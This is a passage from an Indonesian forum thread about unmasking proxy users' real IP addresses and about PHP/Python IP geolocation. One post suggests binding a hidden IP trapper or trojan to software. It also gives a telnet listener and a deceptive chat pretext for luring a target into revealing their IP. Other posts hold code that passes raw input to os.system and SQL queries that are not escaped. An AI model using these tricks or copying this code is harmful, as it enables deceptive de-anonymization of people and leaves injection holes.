Page 2 of 3 FirstFirst 123 LastLast
Results 16 to 30 of 32
http://idgs.in/194367
  1. #16

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by op3l View Post
    kalau pake proxy liat real ip publicnya gmn?? kek ip2location gitu
    mksdny real IP public org lain yg pake proxy?..whihi rumit ntu ma, kasih ja aplikas iptrapper khusus yg kamu bind ama aplikasi lain. tar klo dia eksekusi tu aplikasi, trappernya ngasih tau langsung ke kita hasil traceroute ke web yg kita bkin..tapi klo udh gni ma kagok bkin2 IP trap,langsung ja bkin koneksi antar target ma komp kita (trojan dah)..

    cara lain bisa pake service lain selain http bro.. yg asalnya kita kasih link buat trap IP, kita sekarang kasih alamat server dgn embel2 port yg bukan port 80, proxy skrg kan dkung SSL tuh, jd jgn kasih juga port 443, kasih telnet misal ke IP publik kamu.. nah di kita jgn nyalain telnet servernya tapi bikin server sendiri yg fungsinya GET REMOTE addr juga : nih gw kasi contoh di python scriptny :
    Code:
    #!/usr/bin/python
    
    import socket
    
    host = ''
    port = 23
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((host, port))
    s.listen(1)
    
    print "server jalan pada port %d" % port
    while 1:
             clientsock, clientaddr = s.accept()
             clientfile = clientsock.makefile('rw',0)
             clientfile.read("ada koneksi dari "+ str(clientaddr) + "\n")
             clientfile.close()
             clientsock.close()
    nah tar tgl sruh aja target pake telnet ke IP publik kita, bilang "eh2 coba di cmd ketik telnet [ip_publik_si_server], ada mesin chatting buatan gw tuh, jalan ga?"
    nah pas dia ***** kecatet tu IP publik asli dia tanpa pake proxy, karna kalo di proxy server sendiri, dia hanya terima jalur req http/https(port80/443) bukan telnet(port23).. ^^ harus agak2 social engineering dkit sih.. ga lepas dari komunikasi
    Last edited by bl00d13z; 09-05-09 at 14:05.

  2. Hot Ad
  3. #17
    op3l's Avatar
    Join Date
    Oct 2006
    Location
    Surabaya
    Posts
    1,787
    Points
    2,028.60
    Thanks: 1 / 1 / 1

    Default

    di beberapa web dah ada yang bisa kek ip2location.com

    tapi scriptnya masi blum dapet gw

    kalau ga salah web indo ada yang yang uda pasang gituan cuma waktu it ol diwarnet ga bawa fd jadi ga bs copas2 ~_~

    trs skr kepikir lagi hehe pgn aja tau gmn caranya

    kalau pake trap IP kan ribet dpasang di website
    Yang Penting NgeJUNK

  4. #18

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by op3l View Post
    di beberapa web dah ada yang bisa kek ip2location.com

    tapi scriptnya masi blum dapet gw

    kalau ga salah web indo ada yang yang uda pasang gituan cuma waktu it ol diwarnet ga bawa fd jadi ga bs copas2 ~_~

    trs skr kepikir lagi hehe pgn aja tau gmn caranya

    kalau pake trap IP kan ribet dpasang di website
    emg outputnya mau ap aj? sm persis keq di ip2location? klo mau mirip ampe ke lokasi2nya ad 2 cr,.
    1. post value yg user input supaya dikerjakan ke site2 keq ip2location..
    2. bikin pmetaannya ndri, trus gunain database alokasi IP di dunia buat jadi acuan penentuan lokasinya nanti.. ada fitur whois yg bs dipake buat lakuin ini (kalo pengalaman buat GIS bkin gnian ga masalah), berhubung ane ga jago-jago amat web programming jd ane kaga bs kasi sourceny klo yg lokasi, tapi kalo cm nampilin IP pengunjung, browsernya pake apa, trus OSny apa, bisa pake fungsi yg ane kasih di post sebelumny (yg ditatompel tanyain),. mungkin kalo buat lokasi aja n dlm format text outputnya bisa inline in command whois dr system unix ke phpny di php ane ga gtu tau gmn crny, cm klo di bahasa lain(python terutama) ane taunya gni :

    Code:
    #!/usr/bin/python
    
    import os
    
    x = raw_input("masukkan IP yg ingin dicari tau lokasinya: ")
    os.system("whois -t whois.apnic.net %s" %x)
    nah di php jg pasti ada tuh modul penggunaan command pada system buat prosesnya,. intinya kalo mau tau lokasi dr pemilik IP bisa dgn cr pny db sendiri utk alokasi IP di seluruh dunia (download disini kalo mau dbny, cm dlm bntuk excel n masih taun lama), atau bisa pake fasilitas whois (di unix udh embeded commandny) ini tar request informasi pemilik IP dari apnic,arin,ripe,lacnic,afrinic
    yg gw cthin d code python itu wat asia aj coz pke apnic(Asia Pacific Network Information Centre), tp kalopun IPnya IP afrika misal.. tar dari apnic sendiri dioper ke afrinic buat cek databaseny..
    krg lebih gtu gbrnny..

  5. #19
    op3l's Avatar
    Join Date
    Oct 2006
    Location
    Surabaya
    Posts
    1,787
    Points
    2,028.60
    Thanks: 1 / 1 / 1

    Default

    kalau persis kek ip2location itu ga mungkin sanggp ngejarnya makanya tuh script dijual, liat aja konsumennya. gak sanggup dah bkin kek gt.. pgn tau aja yang bisa liat ip pub asli orang pake proxy aja coz beberapa situs. bahkan lokal ada yang kek gt

    tapi kalau pake web proxy kok gak bisa ketauan ya ip public aslinya
    Yang Penting NgeJUNK

  6. #20

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    nih ane cpas codenya..ada ternyata di gudang ane:


    main code: bisa di index.php atau terserah..
    Spoiler untuk code :

    Code:
    <?php
    
    /******************************************************************
    * 
    * IPAddressSimple, Memperlihatkan alamat IP anda.
    * Copyright (C) 2006, Bowo Prasetyo
    *  
    * http://www.my-tool.com
    * 
    * This program is free software; you can redistribute it and/or
    * modify it under the terms of the GNU General Public License
    * as published by the Free Software Foundation below,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    * 
    * You should have received a copy of the GNU General Public License
    * along with this program; if not, write to the Free Software
    * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 
    * MA  02110-1301, USA.
    * 
    * Program ini adalah software bebas; anda dapat mendistribusikannya 
    * kembali dan/atau memodifikasinya di bawah aturan lisensi
    * GNU General Public License sebagaimana dipublikasikan oleh
    * yayasan Free Software Foundation di bawah,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * Program ini didistribusikan dengan harapan akan bermanfaat,
    * tetapi TANPA JAMINAN APAPUN; bahkan tanpa jaminan terimplikasi 
    * MERCHANTIBILITY ataupun FITNESS FOR A PARTICULAR PURPOSE.
    * Lihat GNU General Public License untuk lebih rincinya.
    *
    * Anda harus telah mendapatkan salinan GNU General Public License
    * bersama-sama dengan program ini; kalau tidak, silakan tulis surat
    * kepada yayasan Free Software Foundation, Inc., 51 Franklin Street, 
    * Fifth Floor, Boston, MA  02110-1301, USA.
    *
    *****************************************************************/
    
    require_once('iphost_callback-id.php');
    
    require_once('cached_latlong-id.php');
    
    $lat = '';
          $long = '';
          $zoom = 0;
          $city = '';
          $cntry = '';
          /**
           * Di sini kita meminta lintang dan bujur untuk alamat IP.
           */
          cached_latlong($_SERVER['REMOTE_ADDR'], $lat, $long, $zoom, $city, $cntry);
          /**
           * Dan mengeset lokasi berdasarkan kota dan negara.
           */
          $location = $city!=''?"$city, $cntry":($cntry!=''?$cntry:'bumi :)');
    ?>
    
    Alamat IP anda adalah <?php echo iphost_callback(array($_SERVER['REMOTE_ADDR'])) ?> <br><br>
    
    <div id="map" style="width: 500px; height: 300px"></div>
        <br><br>
    
    <script src="http://maps.google.com/maps?file=api&v=2&key=ABQIAAAAJnVr6RDwvuxXV_LIhBLv7xRId5dkOWO92iJlPbTwqn_bzGk5IxSaX9k8IyBIe6TJGLmPd_RQlGkZ4w"
          type="text/javascript"></script>
    
    <script type="text/javascript">
    
    function load() 
        {
          if (GBrowserIsCompatible()) 
          {
            var map = new GMap2(document.getElementById("map"));
            map.setCenter(new GLatLng(<?php echo "$lat, $long), $zoom" ?>);
            map.addControl(new GSmallMapControl());
            function createMarker(point, number) 
            {
              var marker = new GMarker(point);
              GEvent.addListener(marker, "click", function() 
              {
                marker.openInfoWindowHtml("Anda ada di <?php echo $location ?>");
              });
              return marker;
            }
            var point = new GLatLng(<?php echo "$lat, $long" ?>);
            map.addOverlay(createMarker(point, 1));
            map.addControl(new GScaleControl());
          }
        }
    
    </script>
    
    <?php
    
    ?>

    iphost_callback-id.php
    Spoiler untuk code :

    Code:
    <?php
    
    /******************************************************************
    * 
    * iphost_callback-id.php, 
    * Copyright (C) 2006, Bowo Prasetyo
    *  
    * http://www.my-tool.com
    * 
    * This program is free software; you can redistribute it and/or
    * modify it under the terms of the GNU General Public License
    * as published by the Free Software Foundation below,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    * 
    * You should have received a copy of the GNU General Public License
    * along with this program; if not, write to the Free Software
    * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 
    * MA  02110-1301, USA.
    * 
    * Program ini adalah software bebas; anda dapat mendistribusikannya 
    * kembali dan/atau memodifikasinya di bawah aturan lisensi
    * GNU General Public License sebagaimana dipublikasikan oleh
    * yayasan Free Software Foundation di bawah,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * Program ini didistribusikan dengan harapan akan bermanfaat,
    * tetapi TANPA JAMINAN APAPUN; bahkan tanpa jaminan terimplikasi 
    * MERCHANTIBILITY ataupun FITNESS FOR A PARTICULAR PURPOSE.
    * Lihat GNU General Public License untuk lebih rincinya.
    *
    * Anda harus telah mendapatkan salinan GNU General Public License
    * bersama-sama dengan program ini; kalau tidak, silakan tulis surat
    * kepada yayasan Free Software Foundation, Inc., 51 Franklin Street, 
    * Fifth Floor, Boston, MA  02110-1301, USA.
    *
    *****************************************************************/
    
    require_once('get_domain.php');
    
    function iphost_callback($matches) {
    
    global $launcher;
       $hostname = rtrim($matches[0],'.');
    
    if(preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/',$hostname)==1)
       {
          $link = "$matches[0]<sup>(<a href=\"$launcher?tool=networking&sub1=ip-hostname&query=$hostname\">nama host</a>,<a href=\"$launcher?tool=networking&sub1=ip-country&query=$hostname\">negara</a>,<a href=\"$launcher?tool=networking&sub1=whois&query=$hostname\">whois</a>)</sup>";
       }
       else
       {
          $domain = get_domain($hostname);
          if ($domain===FALSE)
             $link = $matches[0];
          else
          {
             $link = "$matches[0]<sup>(<a href=\"$launcher?tool=networking&sub1=ip-hostname&query=$hostname\">ip</a>,<a href=\"$launcher?tool=networking&sub1=dns&query=$hostname\">dns</a>,<a href=\"$launcher?tool=networking&sub1=whois&query=$domain\">whois</a>)</sup>";
          }
       }
       return $link;
    }
    
    function iphost_callback_2($matches) {
    
    global $launcher;
       $hostname = rtrim($matches,'.');
    
    if(preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/',$hostname)==1)
       {
          $link = "<sup>(<a href=\"$launcher?tool=networking&sub1=ip-hostname&query=$hostname\">nama host</a>,<a href=\"$launcher?tool=networking&sub1=ip-country&query=$hostname\">negara</a>,<a href=\"$launcher?tool=networking&sub1=whois&query=$hostname\">whois</a>)</sup>";
       }
       else
       {
          $domain = get_domain($hostname);
          if ($domain===FALSE)
             $link = '';
          else
          {
             $link = "<sup>(<a href=\"$launcher?tool=networking&sub1=ip-hostname&query=$hostname\">ip</a>,<a href=\"$launcher?tool=networking&sub1=dns&query=$hostname\">dns</a>,<a href=\"$launcher?tool=networking&sub1=whois&query=$domain\">whois</a>)</sup>";
          }
       }
       return $link;
    }
    
    ?>


    get_domain.php
    Spoiler untuk code :

    Code:
    <?php
    
    /******************************************************************
    * 
    * get_domain.php, 
    * Copyright (C) 2006, Bowo Prasetyo
    *  
    * http://www.my-tool.com
    * 
    * This program is free software; you can redistribute it and/or
    * modify it under the terms of the GNU General Public License
    * as published by the Free Software Foundation below,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    * 
    * You should have received a copy of the GNU General Public License
    * along with this program; if not, write to the Free Software
    * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 
    * MA  02110-1301, USA.
    * 
    * Program ini adalah software bebas; anda dapat mendistribusikannya 
    * kembali dan/atau memodifikasinya di bawah aturan lisensi
    * GNU General Public License sebagaimana dipublikasikan oleh
    * yayasan Free Software Foundation di bawah,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * Program ini didistribusikan dengan harapan akan bermanfaat,
    * tetapi TANPA JAMINAN APAPUN; bahkan tanpa jaminan terimplikasi 
    * MERCHANTIBILITY ataupun FITNESS FOR A PARTICULAR PURPOSE.
    * Lihat GNU General Public License untuk lebih rincinya.
    *
    * Anda harus telah mendapatkan salinan GNU General Public License
    * bersama-sama dengan program ini; kalau tidak, silakan tulis surat
    * kepada yayasan Free Software Foundation, Inc., 51 Franklin Street, 
    * Fifth Floor, Boston, MA  02110-1301, USA.
    *
    *****************************************************************/
    
    function get_domain($hostname)
    {
       if(preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $hostname)==1)
       {
          $domain = FALSE;
       }
       else
       {
          $strs = explode('.', $hostname);
          $cnt = count($strs);
          if ($cnt==1)
          {
             $domain = FALSE;
          }
          else
          {
             $domain = '';
             if(strlen($strs[$cnt-1])>2)
             {
                $domain = $strs[$cnt-2].'.'.$strs[$cnt-1];
             }
             else if(strlen($strs[$cnt-2])>3)
             {
                $domain = $strs[$cnt-2].'.'.$strs[$cnt-1];
             }
             else if(strlen($strs[$cnt-2])<3)
             {
                $domain = $strs[$cnt-3].'.'.$strs[$cnt-2].'.'.$strs[$cnt-1];
             }
             else
             {
                require('domain_const.php');
                if (in_array($strs[$cnt-2], $gtld))
                {
                   $domain = $strs[$cnt-3].'.'.$strs[$cnt-2].'.'.$strs[$cnt-1];
                }
                else
                {
                   $domain = $strs[$cnt-2].'.'.$strs[$cnt-1];
                }
             }
          }
       }
       return $domain;
    }
    
    ?>

    domain_const.php
    Spoiler untuk code :

    Code:
    <?php
    
    /******************************************************************
    * 
    * cached_latlong-id.php, 
    * Copyright (C) 2006, Bowo Prasetyo
    *  
    * http://www.my-tool.com
    * 
    * This program is free software; you can redistribute it and/or
    * modify it under the terms of the GNU General Public License
    * as published by the Free Software Foundation below,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    * 
    * You should have received a copy of the GNU General Public License
    * along with this program; if not, write to the Free Software
    * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 
    * MA  02110-1301, USA.
    * 
    * Program ini adalah software bebas; anda dapat mendistribusikannya 
    * kembali dan/atau memodifikasinya di bawah aturan lisensi
    * GNU General Public License sebagaimana dipublikasikan oleh
    * yayasan Free Software Foundation di bawah,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * Program ini didistribusikan dengan harapan akan bermanfaat,
    * tetapi TANPA JAMINAN APAPUN; bahkan tanpa jaminan terimplikasi 
    * MERCHANTIBILITY ataupun FITNESS FOR A PARTICULAR PURPOSE.
    * Lihat GNU General Public License untuk lebih rincinya.
    *
    * Anda harus telah mendapatkan salinan GNU General Public License
    * bersama-sama dengan program ini; kalau tidak, silakan tulis surat
    * kepada yayasan Free Software Foundation, Inc., 51 Franklin Street, 
    * Fifth Floor, Boston, MA  02110-1301, USA.
    *
    *****************************************************************/
    
    /**
     * @package    Base
     * @author     Bowo Prasetyo <[email protected]> (take N O S P A M for email)
     * @version    0.1.0
     * @copyright  2006-2007 my-Tool.com
     * @license    http://www.gnu.org/licenses/gpl.html GNU General Public License
     */
    /**
     * Me-request servis hostip.info dan meng-cache hasilnya
     *
     * Mendapatkan informasi posisi seperti lintang dan bujur untuk sebuah 
     * alamat ip yang cocok untuk input ke program Google Map.
     * 
     * Database cache akan dicek untuk informasi posisi dari alamat ip, hasil 
     * ter-cache-nya akan diset ke $lat, $long, $zoom, $city dan $country 
     * kalau ada dan true akan dikembalikan. Kalau tidak ada maka 
     * {@link http://www.hostip.info/ hostip.info} akan di-request untuk 
     * informasi tersebut, hasilnya akan di-cache ke dalam database selama 1 
     * bulan, di set ke variabel dan false akan dikembalikan.
     *
     * (Cache dapat dibersihkan secara periodik menggunakan script cronjob 
     * eksternal.)
     *
     * API web untuk hostip.info adalah dalam format
     *
     * <pre>
     * http://api.hostip.info/get_html.php?ip=66.35.250.203&position=true
     * </pre>
     *
     * Dan hasilnya adalah dalam format
     *
     * <code>
     * Country: UNITED STATES (US)
     * City: San Jose, CA
     * Latitude: 37.304
     * Longitude: -121.85
     * </code>
     *
     * Database MySQL untuk meng-cache dibuat sebagai
     * 
     * <code>
     * CREATE TABLE `latlong` (
     *   `id` int(11) NOT NULL auto_increment,
     *   `ip` varchar(255) NOT NULL default '',
     *   `lat` varchar(255) NOT NULL default '',
     *   `long` varchar(255) NOT NULL default '',
     *   `zoom` int(11) NOT NULL default '0',
     *   `city` varchar(255) NOT NULL default '',
     *   `country` varchar(255) NOT NULL default '',
     *   `ctime` datetime NOT NULL default '0000-00-00 00:00:00',
     *   PRIMARY KEY  (`id`),
     *   KEY `ip` (`ip`),
     *   KEY `ctime` (`ctime`)
     * ) TYPE=MyISAM
     * </code>
     *
     * @param  string $ip       alamat ip
     * @param  float  &$lat     referensi ke lintang
     * @param  float  &$long    referensi ke bujur 
     * @param  int    &$zoom    referensi ke pembesaran map
     * @param  string &$city    referensi ke nama kota
     * @param  string &$country referensi ke nama nama negara 
     * @return bool             apakah mengenai cache atau tidak
     *
     * @package    Base
     * @author     Bowo Prasetyo <[email protected]> (take N O S P A M for email)
     * @version    0.1.0
     * @copyright  2006-2007 my-Tool.com
     * @license    http://www.gnu.org/licenses/gpl.html GNU General Public License
     */
    function cached_latlong($ip, &$lat, &$long, &$zoom, &$city, &$country)
    {
       if (!preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $ip))
       {
          return FALSE;
       }
    
    $query = "SELECT lat, `long`, zoom, city, country FROM latlong WHERE ip = '$ip'";
       $result = mysql_query($query) or die('Query failed: ' . mysql_error());
    
    if ($line = mysql_fetch_array($result, MYSQL_ASSOC))
       {
          $lat = $line['lat'];
          $long = $line['long'];
          $zoom = $line['zoom'];
          $city = $line['city'];
          $country = $line['country'];
          $cached = TRUE;
       }
       else
       {
          $latlong = explode("\n", file_get_contents("http://api.hostip.info/get_html.php?ip=$ip&position=true"));
          $country = trim(substr($latlong[0], 9, strrpos($latlong[0], '(') - 9));
          $city = trim(substr($latlong[1], 6));
          $lat = trim(substr($latlong[2], 10));
          $long = trim(substr($latlong[3], 11));
          $zoom = 9;
    
    if ($lat == '' or $long == '')
          {
             require_once('cnt_latlong.php');
    
    $ipl = sprintf("%u", ip2long($ip));
             $result = mysql_query("SELECT country, ctry FROM geoip WHERE ip_from <= $ipl and ip_to >= $ipl");
             if (!$result) die('Invalid query: '.mysql_error());
    
    if ($line = mysql_fetch_array($result, MYSQL_ASSOC)) 
             {
    
    $lat = $cnt_latlong[$line['ctry']][0];
                $long = $cnt_latlong[$line['ctry']][1];
                $zoom = 5;
                $city = '';
                $country = $line['country'];
             }
             else
             {
    
    $lat = 0;
                $long = 0;
                $zoom = 1;
                $city = '';
                $country = '';
             } 
          }
          mysql_query("INSERT INTO latlong (ip, lat, `long`, zoom, city, country, ctime) VALUES ('$ip', '$lat', '$long', '$zoom', '$city', '$country', now())");
          $cached = FALSE;
       }
    
    mysql_free_result($result);
    
    return $cached;
    }
    
    ?>

    cnt_latlong.php
    Spoiler untuk code :

    Code:
    <?php
    
    /******************************************************************
    * 
    * cnt_latlong.php, 
    * Copyright (C) 2006, Bowo Prasetyo
    *  
    * http://www.my-tool.com
    * 
    * This program is free software; you can redistribute it and/or
    * modify it under the terms of the GNU General Public License
    * as published by the Free Software Foundation below,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * This program is distributed in the hope that it will be useful,
    * but WITHOUT ANY WARRANTY; without even the implied warranty of
    * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    * GNU General Public License for more details.
    * 
    * You should have received a copy of the GNU General Public License
    * along with this program; if not, write to the Free Software
    * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, 
    * MA  02110-1301, USA.
    * 
    * Program ini adalah software bebas; anda dapat mendistribusikannya 
    * kembali dan/atau memodifikasinya di bawah aturan lisensi
    * GNU General Public License sebagaimana dipublikasikan oleh
    * yayasan Free Software Foundation di bawah,
    * 
    * http://www.gnu.org/licenses/gpl.html#TOC1
    * 
    * Program ini didistribusikan dengan harapan akan bermanfaat,
    * tetapi TANPA JAMINAN APAPUN; bahkan tanpa jaminan terimplikasi 
    * MERCHANTIBILITY ataupun FITNESS FOR A PARTICULAR PURPOSE.
    * Lihat GNU General Public License untuk lebih rincinya.
    *
    * Anda harus telah mendapatkan salinan GNU General Public License
    * bersama-sama dengan program ini; kalau tidak, silakan tulis surat
    * kepada yayasan Free Software Foundation, Inc., 51 Franklin Street, 
    * Fifth Floor, Boston, MA  02110-1301, USA.
    *
    *****************************************************************/
    
    /*
    * The average latitude and longitude for countries around the world.
    * Source: CIA World Factbook
    * 
    * "iso 3166 country","latitude","longitude"
    */
    
    $cnt_latlong = array 
       (
          'AP' => array (35.0000,105.0000),
          'EU' => array (47.0000,8.0000),
          'AD' => array (42.5000,1.5000),
          'AE' => array (24.0000,54.0000),
          'AF' => array (33.0000,65.0000),
          'AG' => array (17.0500,-61.8000),
          'AI' => array (18.2500,-63.1667),
          'AL' => array (41.0000,20.0000),
          'AM' => array (40.0000,45.0000),
          'AN' => array (12.2500,-68.7500),
          'AO' => array (-12.5000,18.5000),
          'AQ' => array (-90.0000,0.0000),
          'AR' => array (-34.0000,-64.0000),
          'AS' => array (-14.3333,-170.0000),
          'AT' => array (47.3333,13.3333),
          'AU' => array (-27.0000,133.0000),
          'AW' => array (12.5000,-69.9667),
          'AZ' => array (40.5000,47.5000),
          'BA' => array (44.0000,18.0000),
          'BB' => array (13.1667,-59.5333),
          'BD' => array (24.0000,90.0000),
          'BE' => array (50.8333,4.0000),
          'BF' => array (13.0000,-2.0000),
          'BG' => array (43.0000,25.0000),
          'BH' => array (26.0000,50.5500),
          'BI' => array (-3.5000,30.0000),
          'BJ' => array (9.5000,2.2500),
          'BM' => array (32.3333,-64.7500),
          'BN' => array (4.5000,114.6667),
          'BO' => array (-17.0000,-65.0000),
          'BR' => array (-10.0000,-55.0000),
          'BS' => array (24.2500,-76.0000),
          'BT' => array (27.5000,90.5000),
          'BV' => array (-54.4333,3.4000),
          'BW' => array (-22.0000,24.0000),
          'BY' => array (53.0000,28.0000),
          'BZ' => array (17.2500,-88.7500),
          'CA' => array (60.0000,-95.0000),
          'CC' => array (-12.5000,96.8333),
          'CF' => array (7.0000,21.0000),
          'CG' => array (-1.0000,15.0000),
          'CH' => array (47.0000,8.0000),
          'CI' => array (8.0000,-5.0000),
          'CK' => array (-21.2333,-159.7667),
          'CL' => array (-30.0000,-71.0000),
          'CM' => array (6.0000,12.0000),
          'CN' => array (35.0000,105.0000),
          'CO' => array (4.0000,-72.0000),
          'CR' => array (10.0000,-84.0000),
          'CU' => array (21.5000,-80.0000),
          'CV' => array (16.0000,-24.0000),
          'CX' => array (-10.5000,105.6667),
          'CY' => array (35.0000,33.0000),
          'CZ' => array (49.7500,15.5000),
          'DE' => array (51.0000,9.0000),
          'DJ' => array (11.5000,43.0000),
          'DK' => array (56.0000,10.0000),
          'DM' => array (15.4167,-61.3333),
          'DO' => array (19.0000,-70.6667),
          'DZ' => array (28.0000,3.0000),
          'EC' => array (-2.0000,-77.5000),
          'EE' => array (59.0000,26.0000),
          'EG' => array (27.0000,30.0000),
          'EH' => array (24.5000,-13.0000),
          'ER' => array (15.0000,39.0000),
          'ES' => array (40.0000,-4.0000),
          'ET' => array (8.0000,38.0000),
          'FI' => array (64.0000,26.0000),
          'FJ' => array (-18.0000,175.0000),
          'FK' => array (-51.7500,-59.0000),
          'FM' => array (6.9167,158.2500),
          'FO' => array (62.0000,-7.0000),
          'FR' => array (46.0000,2.0000),
          'GA' => array (-1.0000,11.7500),
          'GB' => array (54.0000,-2.0000),
          'GD' => array (12.1167,-61.6667),
          'GE' => array (42.0000,43.5000),
          'GF' => array (4.0000,-53.0000),
          'GH' => array (8.0000,-2.0000),
          'GI' => array (36.1833,-5.3667),
          'GL' => array (72.0000,-40.0000),
          'GM' => array (13.4667,-16.5667),
          'GN' => array (11.0000,-10.0000),
          'GP' => array (16.2500,-61.5833),
          'GQ' => array (2.0000,10.0000),
          'GR' => array (39.0000,22.0000),
          'GS' => array (-54.5000,-37.0000),
          'GT' => array (15.5000,-90.2500),
          'GU' => array (13.4667,144.7833),
          'GW' => array (12.0000,-15.0000),
          'GY' => array (5.0000,-59.0000),
          'HK' => array (22.2500,114.1667),
          'HM' => array (-53.1000,72.5167),
          'HN' => array (15.0000,-86.5000),
          'HR' => array (45.1667,15.5000),
          'HT' => array (19.0000,-72.4167),
          'HU' => array (47.0000,20.0000),
          'ID' => array (-5.0000,120.0000),
          'IE' => array (53.0000,-8.0000),
          'IL' => array (31.5000,34.7500),
          'IN' => array (20.0000,77.0000),
          'IO' => array (-6.0000,71.5000),
          'IQ' => array (33.0000,44.0000),
          'IR' => array (32.0000,53.0000),
          'IS' => array (65.0000,-18.0000),
          'IT' => array (42.8333,12.8333),
          'JM' => array (18.2500,-77.5000),
          'JO' => array (31.0000,36.0000),
          'JP' => array (36.0000,138.0000),
          'KE' => array (1.0000,38.0000),
          'KG' => array (41.0000,75.0000),
          'KH' => array (13.0000,105.0000),
          'KI' => array (1.4167,173.0000),
          'KM' => array (-12.1667,44.2500),
          'KN' => array (17.3333,-62.7500),
          'KP' => array (40.0000,127.0000),
          'KR' => array (37.0000,127.5000),
          'KW' => array (29.5000,45.7500),
          'KY' => array (19.5000,-80.5000),
          'KZ' => array (48.0000,68.0000),
          'LA' => array (18.0000,105.0000),
          'LB' => array (33.8333,35.8333),
          'LC' => array (13.8833,-61.1333),
          'LI' => array (47.1667,9.5333),
          'LK' => array (7.0000,81.0000),
          'LR' => array (6.5000,-9.5000),
          'LS' => array (-29.5000,28.5000),
          'LT' => array (56.0000,24.0000),
          'LU' => array (49.7500,6.1667),
          'LV' => array (57.0000,25.0000),
          'LY' => array (25.0000,17.0000),
          'MA' => array (32.0000,-5.0000),
          'MC' => array (43.7333,7.4000),
          'MD' => array (47.0000,29.0000),
          'MG' => array (-20.0000,47.0000),
          'MH' => array (9.0000,168.0000),
          'MK' => array (41.8333,22.0000),
          'ML' => array (17.0000,-4.0000),
          'MN' => array (46.0000,105.0000),
          'MO' => array (22.1667,113.5500),
          'MP' => array (15.2000,145.7500),
          'MQ' => array (14.6667,-61.0000),
          'MR' => array (20.0000,-12.0000),
          'MS' => array (16.7500,-62.2000),
          'MT' => array (35.8333,14.5833),
          'MU' => array (-20.2833,57.5500),
          'MV' => array (3.2500,73.0000),
          'MW' => array (-13.5000,34.0000),
          'MX' => array (23.0000,-102.0000),
          'MY' => array (2.5000,112.5000),
          'MZ' => array (-18.2500,35.0000),
          'NA' => array (-22.0000,17.0000),
          'NC' => array (-21.5000,165.5000),
          'NE' => array (16.0000,8.0000),
          'NF' => array (-29.0333,167.9500),
          'NG' => array (10.0000,8.0000),
          'NI' => array (13.0000,-85.0000),
          'NL' => array (52.5000,5.7500),
          'NO' => array (62.0000,10.0000),
          'NP' => array (28.0000,84.0000),
          'NR' => array (-0.5333,166.9167),
          'NU' => array (-19.0333,-169.8667),
          'NZ' => array (-41.0000,174.0000),
          'OM' => array (21.0000,57.0000),
          'PA' => array (9.0000,-80.0000),
          'PE' => array (-10.0000,-76.0000),
          'PF' => array (-15.0000,-140.0000),
          'PG' => array (-6.0000,147.0000),
          'PH' => array (13.0000,122.0000),
          'PK' => array (30.0000,70.0000),
          'PL' => array (52.0000,20.0000),
          'PM' => array (46.8333,-56.3333),
          'PR' => array (18.2500,-66.5000),
          'PS' => array (32.0000,35.2500),
          'PT' => array (39.5000,-8.0000),
          'PW' => array (7.5000,134.5000),
          'PY' => array (-23.0000,-58.0000),
          'QA' => array (25.5000,51.2500),
          'RE' => array (-21.1000,55.6000),
          'RO' => array (46.0000,25.0000),
          'RU' => array (60.0000,100.0000),
          'RW' => array (-2.0000,30.0000),
          'SA' => array (25.0000,45.0000),
          'SB' => array (-8.0000,159.0000),
          'SC' => array (-4.5833,55.6667),
          'SD' => array (15.0000,30.0000),
          'SE' => array (62.0000,15.0000),
          'SG' => array (1.3667,103.8000),
          'SH' => array (-15.9333,-5.7000),
          'SI' => array (46.0000,15.0000),
          'SJ' => array (78.0000,20.0000),
          'SK' => array (48.6667,19.5000),
          'SL' => array (8.5000,-11.5000),
          'SM' => array (43.7667,12.4167),
          'SN' => array (14.0000,-14.0000),
          'SO' => array (10.0000,49.0000),
